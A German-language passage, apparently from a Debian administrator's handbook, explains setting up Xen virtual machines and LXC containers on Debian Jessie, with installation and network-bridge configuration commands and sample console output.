- Bochs ist eine weitere freie virtuelle Maschine, die jedoch nur die x86-Architektur emuliert (i386 and amd64)t.

- VMware ist ein proprietärer virtueller Rechner; da er einer der ältesten ist, ist er auch einer der bekanntesten. Er funktioniert nach ähnlichen Prinzipien wie QEMU. VMware bietet erweiterte Funktionen wie Schnappschüsse eines laufenden virtuellen Rechners.
→ http://www.vmware.com/

- VirtualBox ist eine virtuelle Maschine, die überwiegend aus freier Software besteht (einige zusätzliche Komponenten stehen unter einer proprietären Lizenz). Unglücklicherweise befindet sie sich in Debian´s „contib“ Bereich, weil sie einige vorkompillierte Dateien enthält, die nicht ohne einen proprietären Compiler erstellt werden können. Sie ist jünger als VMware und auf die i386- und amd64-Architekturen beschränkt, aber sie enthält einige Snapshot- und andere interessanten Features.
→ http://www.virtualbox.org/

12.2.1. Xen

Xen ist eine Lösung zur „Paravirtualisierung“. Es führt zwischen der Hardware und den darüber liegenden Systemen eine dünne Abstraktionsschicht ein, die „Hypervisor“ genannt wird. Diese agiert als Schiedsrichter, der den Zugang der virtuellen Rechner zur Hardware kontrolliert. Er wickelt jedoch nur einige der Instruktionen ab, der Rest wird direkt von der Hardware im Auftrag des Systems ausgeführt. Der Hauptvorteil liegt darin, dass die Leistung nicht abnimmt und die Systeme so fast dieselbe Geschwindigkeit wie bei direkter Ausführung erreichen. Die Kehrseite besteht darin, dass die Kernel der Betriebssysteme, die man mit einem Xen-Hypervisor verwenden möchte, angepasst werden müssen, um mit Xen zu funktionieren.

Lassen Sie uns einige Zeit bei den Ausdrücken bleiben. Der Hypervisor ist die unterste Schicht, die direkt auf der Hardware läuft, sogar unterhalb des Kernels. Dieser Hypervisor kann die übrige Software auf verschiedene Domains aufteilen, die man als ebenso viele virtuelle Rechner ansehen kann. Eine dieser Domains (die erste, die gestartet wird) wird als dom0 bezeichnet und spielt eine besondere Rolle, da nur diese Domain den Hypervisor und die Ausführung der übrigen Domains kontrollieren kann. Diese übrigen Domains werden domU genannt. Mit anderen Worten und aus der Sicht des Benutzers entspricht dom0 dem „Host“ bei anderen Virtualisierungssystemen, während eine domU als „Gast“ angesehen werden kann.

KULTUR Xen und die verschiedenen Linux-Versionen

Xen ist ursprünglich als Satz von Patches entwickelt worden, die außerhalb der offiziellen Baumstruktur standen und nicht mit dem Linux-Kernel integriert waren. Zur gleichen Zeit benötigten mehrere aufkommenden Virtualisierungssysteme (einschließlich KVM) einige allgemeine virtualisierungsbezogene Funktionen zur Erleichterung ihrer Integration, und der Linux-Kernel bekam diesen Satz von Funktionen (als paravirt_ops- oder pv_ops-Schnittstelle bekannt). Da die Xen-Patches einige Funktionsweisen dieser Schnittstelle duplizierten, konnten sie nicht offiziell akzeptiert werden.

Xensource, das Unternehmen, das hinter Xen steht, musste daher Xen auf dieses neue System portieren, so dass die Xen-Patches mit dem offiziellen Linux-Kernel zusammengeführt werden konnten. Dies bedeutete, dass eine Menge Code umgeschrieben werden musste, und obwohl Xensource bald eine funktionierende Version hatte, die auf der paravirt_ops-Schnittstelle basierte, wurden die Patches nur schrittweise mit dem offiziellen Kernel zusammengeführt. Die Zusammenführung war mit Linux 3.0 abgeschlossen.

→ http://wiki.xenproject.org/wiki/XenParavirtOps

Da Jessie auf der Version 3.16 des Linux-Kernels basiert, enthalten die Standardpakete linux-image-686-pae und linux-image-amd64 bereits die nötigen Programmzeilen und die distributionsspezifischen Patches, die für Squeeze und frühere Versionen von Debian noch erforderlich waren, werden nicht mehr benötigt.

→ http://wiki.xenproject.org/wiki/Xen_Kernel_Feature_Matrix

HINWEIS Mit Xen kompatible Architekturen

Xen ist derzeit nur für die Architekturen i386, amd64, arm64 und armhf verfügbar.

KULTUR Xen und Nicht-Linux-Kernel

Xen erfordert Anpassungen bei allen Betriebssystemen, die man darauf laufen lassen möchte; nicht alle Kernel haben in dieser Hinsicht den gleichen Grad an Reife. Viele sind voll funktionsfähig, sowohl als dom0 als auch als domU: Linux 3.0 und später, NetBSD 4.0 und später sowie OpenSolaris. Andere arbeiten nur als domU. Sie können den Status jedes Betriebssystems im Xen-Wiki überprüfen:

→ http://wiki.xenproject.org/wiki/Dom0_Kernels_for_Xen

→ http://wiki.xenproject.org/wiki/DomU_Support_for_Xen

Wenn Xen sich jedoch auf die speziell für eine Virtualisierung vorgesehenen Hardwarefunktionen (die es nur bei neueren Prozessoren gibt) stützen kann, können selbst nicht modifizierte Betriebssysteme (einschließlich Windows) als domU laufen.

Zur Verwendung von Xen unter Debian sind drei Komponenten erforderlich:

- Der Hypervisor an sich. Je nach verfügbarer Hardware ist das entsprechende Paket entweder xen-hypervisor-4.4-amd64, xen-hypervisor-4.4-armhf oder xen-hypervisor-4.4-arm64.

- Ein Kernel, der auf diesem Hypervisor läuft. Jeder jüngere Kernel als 3.0 läuft, einschließlich der Version 3.16 in Jessie.

- Die i386-Architektur erfordert zudem eine Standardbibliothek mit passenden Patches, um Xen nutzen zu können; diese befindet sich im Paket libc6-xen.

Um den Aufwand der manuellen Auswahl dieser Komponenten zu vermeiden, stehen komfortablerweise einige fertige Pakete bereit (wie zum Beispiel xen-linux-system-amd64); sie alle installieren eine als gut bekannte Kombination aus passendem Hypervisor und Kernelpaketen. Der Hypervisor bringt zudem das Paket xen-utils-4.4 mit sich, das Hilfsprogramme zur Steuerung des Hypervisors von dom0 aus enthält. Dieses wiederum bringt die passende Standardbibliothek mit sich. Während der Installation all dieser Komponenten erstellen Konfigurationsskripten außerdem einen neuen Eintrag im Menü des Grub Boot-Loaders, mit dem der ausgewählte Kernel in einer Xen dom0 gestartet wird. Man beachte jedoch, dass dieser Eintrag gewöhnlich nicht zuoberst in der Liste steht und deshalb nicht standardmäßig ausgewählt wird. Falls dies nicht das erwünschte Verhalten ist, kann es mit folgenden Befehlen verändert werden:

# mv /etc/grub.d/20_linux_xen /etc/grub.d/09_linux_xen
# update-grub

Nachdem diese Voraussetzungen installiert sind, besteht der nächste Schritt darin, das Verhalten von dom0 selbst zu testen; hierzu gehört ein Neustart des Hypervisors und des Xen-Kernels. Das System sollte auf normale Art hochfahren mit einigen zusätzlichen Meldungen auf dem Terminal während der frühen Initialisierungsschritte.

Jetzt ist es an der Zeit, unter Verwendung der Hilfsprogramme aus xen-tools tatsächlich brauchbare Systeme auf dem domU-System zu installieren. Dieses Paket stellt den Befehl xen-create-image bereit, der die Aufgabe weitgehend automatisiert. Der einzig zwingend notwendige Parameter ist --hostname, der domU einen Namen gibt. Andere Optionen sind zwar ebenfalls wichtig, können aber in der Konfigurationsdatei /etc/xen-tools/xen-tools.conf gespeichert werden, und ihr Fehlen in der Befehlszeile führt nicht zu einer Fehlermeldung. Es ist daher wichtig, entweder vor der Erstellung von Abbildern den Inhalt dieser Datei zu überprüfen oder beim Aufruf des Befehls xen-create-image zusätzliche Parameter zu verwenden. Zu den wichtigen und beachtenswerten Parametern gehören folgende:

- --memory, um den Umfang an RAM festzulegen, den das neu erstellte System nutzen kann;

- --size und --swap, um die Größe der „virtuellen Platten“ zu definieren, die der domU zur Verfügung stehen;

- --debootstrap, um zu veranlassen, dass das neue System mit debootstrap installiert wird; in diesem Fall wird meistens auch die Option --dist verwendet (mit dem Namen einer Distribution wie zum Beispiel jessie).

WEITERE SCHRITTE Ein Nicht-Debian-System in einer domU installieren

Im Falle eines Nicht-Linux-Systems sollte man darauf achten, den Kernel, den die domU verwenden soll, mit der Option --kernel zu bestimmen.

- --dhcp legt fest, dass die Netzwerkkonfiguration der domU durch DHCP besorgt wird, während --ip die Benennung einer statischen IP-Adresse ermöglicht.

- Schließlich muss noch eine Speichermethode für die zu erstellenden Abbilder (diejenigen, die von der domU aus als Festplatten gesehen werden) gewählt werden. Die einfachste Methode besteht darin, mit der Option --dir auf der dom0 eine Datei für jedes Gerät zu erstellen, das der domU zur Verfügung stehen soll. Für Systeme, die LVM verwenden, besteht die Alternative darin, die Option --lvm zu nutzen, gefolgt von dem Namen einer Volume-Gruppe; xen-create-image erstellt dann ein neues logisches Volume innerhalb dieser Gruppe, und dieses logische Volume wird der domU als Festplatte zur Verfügung gestellt.

HINWEIS Speicherung in der domU

Ganze Festplatten können ebenso in die domU exportiert werden wie auch Partitionen, RAID-Anordnungen oder bereits in LVM bestehende logische Volumes. Diese Vorgänge werden jedoch nicht durch xen-create-image automatisiert. Es ist daher sinnvoll, die Konfigurationsdatei des Xen-Abbildes zu editieren, nachdem sie mit dem Befehl xen-create-image erstmals erstellt worden ist.

Nachdem diese Entscheidungen getroffen sind, können wir das Abbild der zukünftigen Xen-domU erstellen:

# xen-create-image --hostname testxen --dhcp --dir /srv/testxen --size=2G --dist=jessie --role=udev

[...]
General Information
--------------------
Hostname       :  testxen
Distribution   :  jessie
Mirror         :  http://ftp.debian.org/debian/
Partitions     :  swap            128Mb (swap)
/               2G    (ext3)
Image type     :  sparse
Memory size    :  128Mb
Kernel path    :  /boot/vmlinuz-3.16.0-4-amd64
Initrd path    :  /boot/initrd.img-3.16.0-4-amd64
[...]
Logfile produced at:
/var/log/xen-tools/testxen.log

Installation Summary
---------------------
Hostname        :  testxen
Distribution    :  jessie
MAC Address     :  00:16:3E:8E:67:5C
IP-Address(es)  :  dynamic
RSA Fingerprint :  0a:6e:71:98:95:46:64:ec:80:37:63:18:73:04:dd:2b
Root Password   :  adaX2jyRHNuWm8BDJS7PcEJ

Wir haben jetzt einen virtuellen Rechner, er läuft zur Zeit jedoch nicht (und belegt daher lediglich Platz auf der Festplatte der dom0). Wir können selbstverständlich weitere Abbilder erstellen, möglicherweise mit anderen Parametern.

Bevor wir diese virtuellen Rechner starten, müssen wir festlegen, wie wir auf sie zugreifen werden. Sie können natürlich als eigenständige Rechner angesehen werden, auf die nur über ihre jeweilige Systemkonsole zugegriffen wird, dies entspricht jedoch nur selten dem Nutzungsmuster. Meistens wird eine domU als entfernter Server angesehen, auf den nur über ein Netzwerk zugegriffen wird. Es wäre jedoch ziemlich umständlich, für jede domU eine Netzwerkkarte hinzuzufügen. Deshalb ist es möglich, mit Xen virtuelle Schnittstellen zu erstellen, die von jeder Domain gesehen und auf übliche Weise benutzt werden können. Man beachte, dass diese Karten, obwohl sie virtuell sind, nur von Nutzen sind, wenn sie mit einem Netzwerk verbunden sind, selbst wenn dieses virtuell ist. Xen bietet zu diesem Zweck mehrere Netzwerkmodelle:

- Das einfachste Modell ist das bridge-Modell; alle eth0-Netzwerkkarten (sowohl in der dom0 als auch in den domU-Systemen) verhalten sich so, als wären sie direkt an einen Ethernet-Switch angeschlossen.

- Dann kommt das routing-Modell, bei dem dom0 als Router agiert, der zwischen den domU-Systemen und dem (physischen) externen Netzwerk steht.

- Schließlich befindet sich im NAT-Modell die dom0 ebenfalls zwischen den domU-Systemen und dem übrigen Netzwerk, jedoch sind die domU-Systeme von außen nicht direkt zugänglich, sondern der Datenverkehr wird auf der dom0 einer „Network Address Translation“ unterworfen.

Zu diesen drei Netzknoten gehören eine Reihe von Schnittstellen mit ungewöhnlichen Bezeichnungen, wie zum Beispiel vif*, veth*, peth* und xenbr0. Der Xen-Hypervisor ordnet sie gemäß dem an, was auch immer als Layout festgelegt worden ist, unter der Kontrolle der Hilfsprogramme auf der Anwenderebene. Da die NAT- und Routing-Modelle besonderen Fällen vorbehalten sind, beschäftigen wir uns hier nur mit dem Bridging-Modell.

Die Standardkonfiguration der Xen-Pakete verändert die systemweite Netzwerk-Konfiguration nicht. Jedoch ist der xend-Daemon so konfiguriert, dass er virtuelle Netzwerkschnittstellen in eine bereits bestehende Netzwerkbrücke integriert (wobei xenbr0 Vorrang erhält, falls es mehrere solcher Brücken gibt). Wir müssen daher eine Brücke in /etc/network/interfaces einrichten (wozu das Paket bridge-utils installiert werden muss, weshalb es vom Paket xen-utils-4.4 empfohlen wird), um den bestehenden eth0-Eintrag zu ersetzen:

auto xenbr0
iface xenbr0 inet dhcp
bridge_ports eth0
bridge_maxwait 0

Nach einem Neustart, um sicherzustellen, dass die Brücke automatisch erstellt wird, können wir jetzt die domU mit den Xen-Steuerprogrammen starten, insbesondere mit dem Befehl xl. Mit diesem Befehl ist es möglich, Verschiedenes mit den Domains zu machen, unter anderem sie aufzulisten und sie zu starten oder zu beenden.

# xl list
Name                                        ID   Mem VCPUs      State   Time(s)
Domain-0                                     0   463     1     r-----      9.8
# xl create /etc/xen/testxen.cfg
Parsing config from /etc/xen/testxen.cfg
# xl list
Name                                        ID   Mem VCPUs      State   Time(s)
Domain-0                                     0   366     1     r-----     11.4
testxen                                      1   128     1     -b----      1.1

WERKZEUG Auswahl an Toolstacks für die Verwaltung von Xen VMs

In Debian 7 und älteren Versionen war xm das Referenz-Kommandozeilen-Tool zur Verwaltung von virtuellen Xen-Maschinen. Es wurde nun durch xl ersetzt, das weitgehend abwärtskompatibel ist. Aber das sind nicht die einzigen verfügbaren Tools: virsh von libvirt und xe von XenServers XAPI (kommerzielles Angebot von Xen) sind alternative Tools.

VORSICHT Nur eine domU je Abbild!

Während mehrere domU-Systeme natürlich gleichzeitig laufen können, muss jedes von ihnen sein eigenes Abbild verwenden, da jede domU den Eindruck erhält, dass sie auf ihrer eigenen Hardware läuft (abgesehen von dem kleinen Kernelanteil, der mit dem Hypervisor kommuniziert). Vor allem ist es nicht möglich, dass zwei domU-Systeme zur selben Zeit Speicherplatz gemeinsam benutzen. Falls die domU-Systeme nicht zur selben Zeit laufen, können sie jedoch eine einzige Auslagerungspartition oder die Partition, die das Dateisystem /home enthält, wiederverwenden.

Man beachte, dass die domU testxen wirklichen Speicher des RAM verwendet, der ansonsten für die dom0 verfügbar wäre, und keinen simulierten Speicher. Man sollte daher darauf achten, das physische RAM entsprechend zuzuteilen, wenn man einen Server einrichtet, auf dem Xen-Instanzen laufen sollen.

Voilà! Unser virtueller Rechner startet. Wir können auf ihn auf zweifache Art zugreifen. Der normale Weg besteht darin, sich mit ihm „aus der Ferne“ über das Netzwerk zu verbinden, wie wir es auch bei einem wirklichen Rechner tun würden; hierzu ist es normalerweise erforderlich, entweder einen DHCP-Server oder eine DNS-Konfiguration einzurichten. Der andere Weg, der der einzige sein könnte, falsch die Netzwerk-Konfiguration nicht korrekt war, besteht darin, über den Befehl xl console die Konsole hvc0 zu benutzen:

# xl console testxen
[...]

Debian GNU/Linux 8 testxen hvc0

testxen login:

Man kann dann eine Sitzung öffnen, als säße man an der Tastatur des virtuellen Rechners. Zur Trennung von dieser Konsole dient die Tastenkombination Strg+].

TIPP Direkt zur Konsole gelangen

Manchmal möchte man ein domU-System starten und direkt zu seiner Konsole gelangen; deshalb kann dem Befehl xl create der Schalter -c übergeben werden. Wenn man eine domU mit diesem Schalter startet, werden während des Hochfahrens des Systems alle Meldungen angezeigt.

TOOL OpenXenManager

OpenXenManager (im Paket openxenmanager) ist ein grafisches Interface das entfernte Verwaltung von Xen Domänen über das API von Xen ermöglicht. Es kann so Xen Domänen aus der Ferne kontrollieren. Es stellt den Großteil der Funktionalität des Befehls xl zur Verfügung.

Sobald eine domU läuft, kann sie so wie jeder andere Server verwendet werden (da sie schließlich ein GNU/Linux-System ist). Ihr Status als virtueller Rechner ermöglicht jedoch einige zusätzliche Funktionen. So kann eine domU zum Beispiel mit den Befehlen xl pause und xl unpause vorübergehend angehalten und dann wieder fortgesetzt werden. Man beachte, dass bei einer angehaltenen domU, obwohl sie keine Prozessorleistung in Anspruch nimmt, der ihr zugeordnete Speicherplatz weiterhin belegt ist. Es könnte interessant sein, hier die Befehle xl save und xl restore in Erwägung zu ziehen: das Speichern einer domU gibt die Ressourcen frei, die vorher von dieser domU verwendet wurden, einschließlich des RAM. Wenn sie fortgesetzt wird (oder eigentlich ihr Pausieren beendet wird), bemerkt eine domU außer dem Fortschreiten der Zeit nichts. Falls eine domU läuft, wenn die dom0 heruntergefahren wird, speichern die gebündelten Skripten automatisch die domU, und stellen sie beim nächsten Hochfahren wieder her. Dies schließt natürlich die gleichen Unannehmlichkeiten ein, die entstehen, wenn man zum Beispiel einen Laptop in den Ruhezustand versetzt; insbesondere, dass Netzwerkverbindungen verfallen, falls die domU zu lange ausgesetzt ist. Man beachte auch, dass Xen insofern mit einem Großteil der ACPI-Energieverwaltung inkompatibel ist, als es nicht möglich ist, das Host-System (die dom0) in den Bereitschaftsbetrieb zu versetzen.

DOKUMENTATION xl-Optionen

Die meisten der xl-Unterbefehle erwarten ein oder mehrere Argumente, häufig einen domU-Namen. Diese Argumente sind auf der Handbuchseite xl(1) gut beschrieben.

Das Anhalten oder Neustarten einer domU kann entweder aus dieser domU heraus geschehen (mit dem Befehl shutdown) oder von der dom0 aus mit xl shutdown oder xl reboot.

WEITERE SCHRITTE Weitergehendes Xen

Xen verfügt über wesentlich mehr Funktionen als wir in diesen wenigen Absätzen beschreiben können. Vor allem ist das System sehr dynamisch, und viele Parameter einer Domain (wie zum Beispiel der Umfang des zugewiesenen Speichers, die sichtbaren Festplatten, das Verhalten der Aufgabensteuerung und so weiter) können eingestellt werden, selbst wenn die Domain läuft. Eine domU kann sogar auf einen anderen Server verschoben werden, ohne abgeschaltet zu werden und ohne ihre Netzwerkverbindungen zu verlieren! Die Hauptinformationsquelle für alle diese weitergehenden Aspekte ist die offizielle Xen-Dokumentation.

→ http://www.xen.org/support/documentation.html

12.2.2. LXC

Obwohl es dazu benutzt wird, „virtuelle Rechner“ zu erstellen, ist LXC genaugenommen kein Virtualisierungssystem, sondern ein System, um Gruppen von Prozessen voneinander zu isolieren, obwohl sie alle auf demselben Host laufen. Es macht sich eine Reihe neuerer Entwicklungen im Linux-Kernel zunutze, die gemeinhin als Kontrollgruppen (control groups) bekannt sind, mit denen verschiedene Sätze von Prozessen, die „Gruppen“ genannt werden, bestimmte Aspekte des Gesamtsystems auf unterschiedliche Weise sehen. Dies gilt vor allem für Aspekte wie die Prozesskennungen, die Netzwerkonfiguration und die Einhängepunkte. Eine derartige Gruppe isolierter Prozesse hat keinerlei Zugriff auf die anderen Prozesse des Systems, und ihre Zugriffe auf das Dateisystem können auf einen bestimmten Teilbereich eingegrenzt werden. Sie kann auch ihre eigene Netzwerkschnittstelle und Routing-Tabelle haben, und möglicherweise ist sie so konfiguriert, dass sie nur einen Teil der auf dem System verfügbaren Geräte sieht.

Diese Funktionen können kombiniert werden, um eine ganze Prozessfamilie, vom init-Prozess angefangen, zu isolieren, und die sich daraus ergebende Gruppe sieht einem virtuellen Rechner sehr ähnlich. Die offizielle Bezeichnung für eine derartige Anordnung ist ein „Container“ (daher der Name LXC: LinuX Containers), jedoch besteht ein wichtiger Unterschied zu einem „wirklichen“ virtuellen Rechner, wie einem der durch Xen oder KVM bereitgestellt wird, darin, dass es keinen zweiten Kernel gibt; der Container verwendet denselben Kernel wie das Host-System. Dies hat Vor- und Nachteile: zu den Vorteilen gehören die exzellente Performance aufgrund fehlender Last durch Overhead, und die Tatsache, dass der Kernel einen vollständigen Überblick über alle Prozesse hat, die auf dem System laufen, wodurch die Steuerung effizienter sein kann, als wenn zwei unabhängige Kernel verschiedene Aufgabensätze steuern würden. Zu den Nachteilen gehört vor allem, dass man in einem Container keinen anderen Kernel laufen lassen kann (sei dies eine andere Linux-Version oder ein völlig anderes Betriebssystem).

HINWEIS Grenzen der LXC-Isolierung

LXC-Container bieten nicht den Grad an Isolierung, der mit schwergewichtigeren Emulatoren oder Virtualisierern erreicht wird. Insbesondere:

- können, da der Kernel vom Host-System und den Containern gemeinsam genutzt wird, in Containern gebundene Prozesse weiterhin auf Kernel-Meldungen zugreifen, wodurch Informationslecks entstehen können, falls Meldungen von einem Container abgegeben werden;

- können aus ähnlichen Gründen, falls ein Container beeinträchtigt und eine Kernel-Schwachstelle ausgenutzt wird, die übrigen Container ebenfalls betroffen sein;

- überprüft der Kernel Berechtigungen im Dateisystem anhand der numerischen Kennungen für Benutzer und Gruppen; diese Kennungen können je nach Container unterschiedliche Benutzer und Gruppen bezeichnen, woran man denken sollte, falls beschreibbare Teile des Dateisystems von mehreren Containern gemeinsam benutzt werden.

Da wir es hier mit einer Isolierung und nicht mit einer einfachen Virtualisierung zu tun haben, ist es schwieriger, einen LXC-Container einzurichten, als nur ein Debian-Installationsprogramm auf einem virtuellen Rechner auszuführen. Wir werden einige Voraussetzungen beschreiben und dann zur Netzwerkkonfigurierung übergehen; damit werden wir in der Lage sein, das System, das in dem Container laufen soll, zu erstellen.

12.2.2.1. Vorbereitende Schritte

Das Paket lxc enthält die für die Ausführung von LXC erforderlichen Hilfsprogramme und muss daher installiert werden.

LXC benötigt außerdem das Konfigurationssystem für die Kontrollgruppen, das ein unter /sys/fs/cgroup einzuhängendes virtuelles Dateisystem ist. Weil Debian 8 auf systemd geschwenkt hat, das auch auf control groups setzt, wird es automatisch beim Starten ohne weitere Konfiguration ausgeführt.

12.2.2.2. Netzwerkkonfigurierung

LXC wird mit dem Ziel installiert, virtuelle Rechner einzurichten; während wir diese natürlich vom Netzwerk getrennt halten und mit ihnen nur über das Dateisystem kommunizieren könnten, ist es in den meisten Anwendungsfällen erforderlich, den Containern wenigstens einen minimalen Netzwerkzugang zu gewähren. Typischerweise erhält jeder Container eine virtuelle Netzwerkschnittstelle, die mit dem wirklichen Netzwerk über eine Bridge verbunden ist. Diese virtuelle Schnittstelle kann entweder direkt an die physische Schnittstelle des Hosts angeschlossen sein (wobei sich der Container dann direkt im Netzwerk befindet) oder an eine weitere virtuelle Schnittstelle, die auf dem Host festgelegt ist (und bei der der Host dann den Datenverkehr filtern oder umleiten kann). In beiden Fällen ist das Paket bridge-utils erforderlich.

Der einfachste Fall besteht darin, die Datei /etc/network/interfaces zu editieren, indem die Konfiguration für die physische Schnittstelle (zum Beispiel eth0) zu einer Bridge-Schnittstelle verschoben (normalerweise br0) und die Verbindung zwischen ihnen konfiguriert wird. Wenn zum Beispiel die Konfigurationsdatei der Netzwerkschnittstellen Einträge wie die folgenden enthält:

auto eth0
iface eth0 inet dhcp

sollten sie deaktiviert und durch folgende ersetzt werden:

#auto eth0
#iface eth0 inet dhcp

auto br0
iface br0 inet dhcp
bridge-ports eth0

Die Auswirkung dieser Konfiguration ähnelt derjenigen, die einträte, falls die Container Rechner wären, die an dasselbe physische Netzwerk angeschlossen sind wie der Host. Die „Bridge“-Konfiguration verwaltet den Übergang der Ethernet-Frames zwischen allen verbundenen Schnittstellen, zu denen sowohl die physische Schnittstelle eth0 als auch die für die Container festgelegten Schnittstellen gehören.

In Fällen, in denen diese Konfiguration nicht verwendet werden kann (falls zum Beispiel den Containern keine öffentlichen IP-Adressen zugeordnet werden können), wird eine virtuelle tap-Schnittstelle eingerichtet und mit der Bridge verbunden. Die dementsprechende Netzstruktur wird dann zu einer, bei der der Host mit einer zweiten Netzwerkkarte an einen eigenen Switch angeschlossen ist, wobei die Container ebenfalls an diesen Switch angeschlossen sind. Der Host muss in diesem Fall als Gateway für die Container agieren, falls diese mit der Außenwelt kommunizieren sollen.

Zusätzlich zu bridge-utils ist für diese „üppige“ Konfiguration das Paket vde2 erforderlich; die Datei /etc/network/interfaces wird dann zu:

# Schnittstelle eth0 bleibt unverändert
auto eth0
iface eth0 inet dhcp

# Virtuelle Schnittstelle
auto tap0
iface tap0 inet manual
vde2-switch -t tap0

# Bridge für Container
auto br0
iface br0 inet static
bridge-ports tap0
address 10.0.0.1
netmask 255.255.255.0

Das Netzwerk kann dann entweder statisch in den Containern eingerichtet werden oder dynamisch mit einem DHCP-Server, der auf dem Host läuft. Solch ein DHCP-Server muss so konfiguriert sein, dass er Anfragen auf der Schnittstelle br0 beantwortet.

12.2.2.3. Das System einrichten

Lassen Sie uns jetzt das von dem Container zu verwendende Dateisystem einrichten. Da dieser „virtuelle Rechner“ nicht direkt auf der Hardware laufen wird, sind im Vergleich zu einem Standard-Dateisystem einige Feineinstellungen vorzunehmen, insbesondere was den Kernel, die Geräte und Konsolen betrifft. Glücklicherweise enthält das Paket lxc Skripten, die diese Konfigurierung weitestgehend automatisieren. So installieren zum Beispiel die folgenden Befehle (die das Paket debootstrap und rsync erfordern) einen Debian-Container:

root@mirwiz:~# lxc-create -n testlxc -t debian
debootstrap is /usr/sbin/debootstrap
Checking cache download in /var/cache/lxc/debian/rootfs-jessie-amd64 ...
Downloading debian minimal ...
I: Retrieving Release
I: Retrieving Release.gpg
[...]
Download complete.
Copying rootfs to /var/lib/lxc/testlxc/rootfs...
[...]
Root password is 'sSiKhMzI', please change !
root@mirwiz:~#

Man beachte, dass das Dateisystem zunächst in /var/cache/lxc erstellt und dann in sein Zielverzeichnis verschoben wird. So lassen sich mehrere identische Container wesentlich schneller erstellen, da sie nur kopiert werden müssen.

Man beachte, dass das Skript zum Erstellen des Debian Beispiels eine Option --arch akzeptiert, um die Architaktur anzugeben, die Installiert werden soll, sowie eine Option --release, wenn Sie etwas anderes als das aktuelle "stable" Release von Debian installieren wollen. Sie können auch die Umgebungsvariable MIRROR auf einen lokalen Debain Spiegel zeigen lassen.

Das neu erstellte Dateisystem enthält jetzt ein minimales Debian-System, und per Voreinstellung hat der Container keine Netzwerkschnittstelle (außer Loopback). Da wir das nicht wollen, editieren wir die Konfigurationsdatei des Containers (/var/lib/lxc/testlxc/config) und fügen einige lxc.network.*-Einträge hinzu:

lxc.network.type = veth
lxc.network.flags = up
lxc.network.link = br0
lxc.network.hwaddr = 4a:49:43:49:79:20

Diese Einträge bedeuten jeweils, dass eine virtuelle Schnittstelle in dem Container erzeugt wird; dass sie automatisch in Gang gesetzt wird, wenn der besagte Container startet; dass sie automatisch mit der br0-Bridge auf dem Host verbunden wird; und dass ihre MAC-Adresse wie angegeben lautet. Falls diese letzte Angabe fehlt oder deaktiviert ist, wird eine zufällige MAC-Adresse erzeugt.

Ein anderer nützlicher Eintrag in dieser Datei ist die Angabe des Hostnamens:

lxc.utsname = testlxc

12.2.2.4. Den Container starten

Nun, da das Abbild unseres virtuellen Rechners fertig ist, wollen wir den Container starten:

root@mirwiz:~# lxc-start --daemon --name=testlxc
root@mirwiz:~# lxc-console -n testlxc
Debian GNU/Linux 8 testlxc tty1

testlxc login: root
Password:
Linux testlxc 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt11-1 (2015-05-24) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@testlxc:~# ps auxwf
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.2  28164  4432 ?        Ss   17:33   0:00 /sbin/init
root        20  0.0  0.1  32960  3160 ?        Ss   17:33   0:00 /lib/systemd/systemd-journald
root        82  0.0  0.3  55164  5456 ?        Ss   17:34   0:00 /usr/sbin/sshd -D
root        87  0.0  0.1  12656  1924 tty2     Ss+  17:34   0:00 /sbin/agetty --noclear tty2 linux
root        88  0.0  0.1  12656  1764 tty3     Ss+  17:34   0:00 /sbin/agetty --noclear tty3 linux
root        89  0.0  0.1  12656  1908 tty4     Ss+  17:34   0:00 /sbin/agetty --noclear tty4 linux
root        90  0.0  0.1  63300  2944 tty1     Ss   17:34   0:00 /bin/login --
root       117  0.0  0.2  21828  3668 tty1     S    17:35   0:00  \_ -bash
root       268  0.0  0.1  19088  2572 tty1     R+   17:39   0:00      \_ ps auxfw
root        91  0.0  0.1  14228  2356 console  Ss+  17:34   0:00 /sbin/agetty --noclear --keep-baud console 115200 38400 9600 vt102
root       197  0.0  0.4  25384  7640 ?        Ss   17:38   0:00 dhclient -v -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.e
root       266  0.0  0.1  12656  1840 ?        Ss   17:39   0:00 /sbin/agetty --noclear tty5 linux
root       267  0.0  0.1  12656  1928 ?        Ss   17:39   0:00 /sbin/agetty --noclear tty6 linux
root@testlxc:~#

Wir befinden uns nun in dem Container; unser Zugriff auf diejenigen Prozesse beschränkt, die vom Container selbst gestartet wurden, und unser Zugriff auf das Dateisystem ist in ähnlicher Weise auf die zugehörige Teilmenge des gesamten Dateisystems (/var/lib/lxc/testlxc/rootfs) eingeschränkt. Wir können die Konsole mit Control+a q wieder verlassen.

Beachten Sie, dass wir den Container beim Aufruf von lxc-start durch die Option --daemon als Hintergrundprozess laufen lassen. Wir können den Container dann mit einem Befehl wie lxc-stop --name=testlxc schließen.

Das Paket lxc enthält ein Initialisierungsskript, das automatisch einen oder mehrere Container starten kann, wenn der Host bootet (es basiert auf lxc-autostart welches Container startet, deren Option lxc.start.auto auf 1 gesetzt ist). Eine feinere Steuerung der Startreihenfolge ist mit lxc.start.order und lxc.group möglich: standardmäßig startet das Initialisierungsskript zuerst Container, die Teil der Gruppe onboot sind und dann die Container, die nicht Teil einer Gruppe sind. In beiden Fällen wird die Reihenfolge innerhalb einer Gruppe durch die Option lxc.start.order definiert.

WEITERE SCHRITTE Massenvirtualisierung

Da LXC ein sehr leichtgewichtiges Isolierungssystem ist, kann es insbesondere für die Bereitstellung zahlreicher virtueller Server eingerichtet werden. Die Netzwerkkonfiguration wird hierbei im Vergleich zu der, die wir oben beschrieben haben, möglicherweise etwas erweitert sein, die „üppige“ Konfiguration unter Verwendung von tap- und veth-Schnittstellen sollte in den meisten Fällen hierfür jedoch ausreichend sein.

